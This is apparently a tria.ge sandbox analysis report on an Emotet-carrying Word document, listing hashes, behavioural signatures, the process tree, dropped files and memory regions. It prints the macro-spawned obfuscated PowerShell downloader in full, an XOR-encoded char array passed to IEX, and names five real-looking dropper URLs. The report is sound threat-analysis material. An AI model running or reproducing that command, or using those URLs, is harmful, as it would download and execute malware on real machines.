Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    146s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    04/04/2024, 04:02

General

  • Target

    af0870e941a776d5efda87418f75870e_JaffaCakes118.doc

  • Size

    235KB

  • MD5

    af0870e941a776d5efda87418f75870e

  • SHA1

    4ee9fda5fd9a10b0beff24c15fc73c362a06d12c

  • SHA256

    fcf9e5af91a1e9c9c86995546e2174bbe7125f9a027bcd06106bd8f383a8e414

  • SHA512

    7a8c5e10051a2e50b59a87fd319aec6f1f1906ae49706574ddce3a85d22730d6647ae359c38822485af958d65df3f880ffc1a3ad9a29b79412c333a9702e38ab

  • SSDEEP

    3072:qH9nBf4SuEjAhmAMOc7kkkko1rkGuF3tBInxGGq5XyXJm9YBmjD+cb+Xa6aeHWlg:qFVeEsjdXRC3jexGG68YWofpAxIlSwC

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.optosvet.com/NZJFq7P/

exe.dropper

http://janeensart.com/cMn6Qso1ny/

exe.dropper

http://www.usugeotechno.com/OLDq8XAVG/

exe.dropper

http://www.qpalconsultancy.com/wp-content/gZPTPm/

exe.dropper

http://vent-postavka.com/0IPz87qOj/

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies data under HKEY_USERS 21 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\af0870e941a776d5efda87418f75870e_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2176
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" & ( $SHElLid[1]+$shELLId[13]+'X')( [STRiNg]::joIn('', ([cHaR[]] (1,74, 76 ,104 , 24, 75,64, 82, 8 ,74, 71 , 79 , 64 ,70,81 ,5 , 107 , 64, 81 ,11 ,114 ,64,71 , 102 ,73, 76,64,75 ,81 , 30, 1 ,95, 102 ,124 , 24, 2 , 77 ,81, 81 , 85, 31 , 10, 10 , 82, 82,82,11, 74 ,85 , 81,74, 86, 83 ,64 ,81 ,11 ,70, 74, 72, 10, 107 ,127 ,111, 99 , 84 , 18 ,117 ,10, 101, 77 , 81 , 81 , 85 , 31,10 , 10 , 79,68, 75, 64 , 64, 75, 86 , 68 , 87, 81 ,11,70,74 ,72 , 10 , 70 ,104 , 75 ,19, 116 ,86 , 74 , 20, 75, 92,10 , 101 , 77 , 81,81 , 85, 31 , 10,10,82,82, 82 ,11, 80 , 86,80,66,64,74,81 , 64,70 , 77 , 75 ,74 , 11,70 , 74 ,72,10, 106,105,97, 84 , 29, 125,100 ,115 ,98 ,10 ,101 ,77 ,81 , 81,85 ,31 ,10,10,82 , 82 , 82,11 , 84 ,85 , 68 , 73, 70, 74, 75 ,86,80 , 73 ,81,68 , 75, 70 ,92 , 11 , 70,74 , 72 , 10, 82 , 85,8 , 70 , 74,75, 81 ,64 , 75 , 81,10, 66 , 127 , 117 , 113 , 117 ,72 ,10,101, 77,81,81,85, 31 , 10,10 , 83,64, 75, 81, 8 , 85,74,86 ,81, 68 , 83,78,68 ,11 ,70 ,74 ,72 , 10 ,21 , 108, 117, 95 ,29 , 18 ,84, 106, 79, 10 , 2, 11, 118,85, 73 , 76, 81,13 , 2, 101 ,2,12, 30,1, 79, 79,83, 5 ,24 , 5, 2, 16 , 16,21 ,2,30,1,72 ,82 , 68 ,24 ,1,64, 75 ,83,31 ,81 , 64 , 72 ,85 , 14 ,2, 121,2 , 14 , 1, 79, 79 ,83, 14, 2 , 11,64 ,93,64 ,2 ,30 ,67 ,74 , 87, 64 , 68 ,70,77,13,1 , 112, 81,82, 5,76 , 75, 5,1 ,95, 102 ,124 ,12, 94 ,81 ,87,92 ,94 , 1 ,74, 76,104 , 11 ,97,74,82, 75 ,73 , 74,68 ,65,99, 76 , 73 ,64 , 13 ,1 ,112 , 81 ,82 , 9,5 ,1 , 72,82 ,68,12, 30,118,81, 68 ,87,81 , 8 ,117 , 87 ,74 , 70 ,64 , 86,86, 5,1 , 72,82 , 68 ,30 ,71, 87 ,64 ,68,78, 30 ,88 , 70,68 ,81 , 70,77 , 94 , 88, 88) |fOReaCh-oBJEcT{ [cHaR]($_-BxOr '0x25' ) } ) ) )
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2448
      • C:\Users\Admin\AppData\Local\Temp\550.exe
        "C:\Users\Admin\AppData\Local\Temp\550.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2952
        • C:\Users\Admin\AppData\Local\Temp\550.exe
          "C:\Users\Admin\AppData\Local\Temp\550.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          PID:1980
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:556
    • C:\Windows\SysWOW64\senddefrag.exe
      "C:\Windows\SysWOW64\senddefrag.exe"
      1⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1528
      • C:\Windows\SysWOW64\senddefrag.exe
        "C:\Windows\SysWOW64\senddefrag.exe"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        PID:2592

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      173f21824d348178706b598a38adbffc

      SHA1

      0f0b65229495f98e52058ce55020836b57218c83

      SHA256

      2c343aab8b3e10f21f6b4aabb7f8a239fbfb0953d9cb02e86c5c3357d43535ce

      SHA512

      ca294a4d5f8bd87a41d43229d62bdb5f446476410b91f012cfa022f12516610f867d376ae5bdbbc98816738bdd9a93360abe21f7a0148b7a7ec334b13134c1b4

    • \Users\Admin\AppData\Local\Temp\550.exe

      Filesize

      104KB

      MD5

      f0bb506337373e33321eb5ffa1bf4f7f

      SHA1

      4b102e1c43628711cb00b799bd78af70fb6f070f

      SHA256

      2162c42b68af7f56590335a0fcead8e19b1b103acdf0bc3d783db17c9c637999

      SHA512

      a849b8e79861bf573d895dc6b8b0f5977accbbd615c75e3bfc67847aa2effb9a54f2c969178906c2b077e13d85a546384e5eb62e3666ffa87db30bafc70a2884

    • memory/1528-112-0x00000000002F0000-0x00000000002FD000-memory.dmp

      Filesize

      52KB

    • memory/1528-102-0x0000000000310000-0x0000000000330000-memory.dmp

      Filesize

      128KB

    • memory/1528-101-0x0000000000300000-0x000000000030D000-memory.dmp

      Filesize

      52KB

    • memory/1528-97-0x00000000002F0000-0x00000000002FD000-memory.dmp

      Filesize

      52KB

    • memory/1528-96-0x0000000000300000-0x000000000030D000-memory.dmp

      Filesize

      52KB

    • memory/1980-113-0x0000000000230000-0x000000000023D000-memory.dmp

      Filesize

      52KB

    • memory/2176-46-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-43-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-12-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-11-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-17-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-18-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-20-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-21-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-19-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-23-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-26-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-25-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-27-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-28-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-30-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-31-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-33-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-34-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-36-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-37-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-38-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-40-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-41-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-9-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-44-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-42-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-0-0x000000002FFC1000-0x000000002FFC2000-memory.dmp

      Filesize

      4KB

    • memory/2176-47-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-48-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-50-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-51-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-13-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-133-0x00000000717ED000-0x00000000717F8000-memory.dmp

      Filesize

      44KB

    • memory/2176-132-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2176-63-0x00000000717ED000-0x00000000717F8000-memory.dmp

      Filesize

      44KB

    • memory/2176-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2176-65-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-66-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-10-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-2-0x00000000717ED000-0x00000000717F8000-memory.dmp

      Filesize

      44KB

    • memory/2176-5-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-78-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-6-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-7-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-84-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2176-8-0x0000000000480000-0x0000000000580000-memory.dmp

      Filesize

      1024KB

    • memory/2448-60-0x000000006AFB0000-0x000000006B55B000-memory.dmp

      Filesize

      5.7MB

    • memory/2448-61-0x000000006AFB0000-0x000000006B55B000-memory.dmp

      Filesize

      5.7MB

    • memory/2448-62-0x0000000002660000-0x00000000026A0000-memory.dmp

      Filesize

      256KB

    • memory/2448-64-0x0000000002660000-0x00000000026A0000-memory.dmp

      Filesize

      256KB

    • memory/2448-77-0x000000006AFB0000-0x000000006B55B000-memory.dmp

      Filesize

      5.7MB

    • memory/2592-114-0x00000000002B0000-0x00000000002BD000-memory.dmp

      Filesize

      52KB

    • memory/2592-104-0x00000000002C0000-0x00000000002CD000-memory.dmp

      Filesize

      52KB

    • memory/2592-105-0x00000000002B0000-0x00000000002BD000-memory.dmp

      Filesize

      52KB

    • memory/2592-109-0x00000000002C0000-0x00000000002CD000-memory.dmp

      Filesize

      52KB

    • memory/2592-110-0x00000000002D0000-0x00000000002F0000-memory.dmp

      Filesize

      128KB

    • memory/2952-80-0x0000000000230000-0x000000000023D000-memory.dmp

      Filesize

      52KB

    • memory/2952-76-0x0000000000240000-0x000000000024D000-memory.dmp

      Filesize

      52KB

    • memory/2952-94-0x0000000000230000-0x000000000023D000-memory.dmp

      Filesize

      52KB

    • memory/2952-83-0x0000000000240000-0x000000000024D000-memory.dmp

      Filesize

      52KB

    • memory/2952-85-0x0000000000250000-0x0000000000270000-memory.dmp

      Filesize

      128KB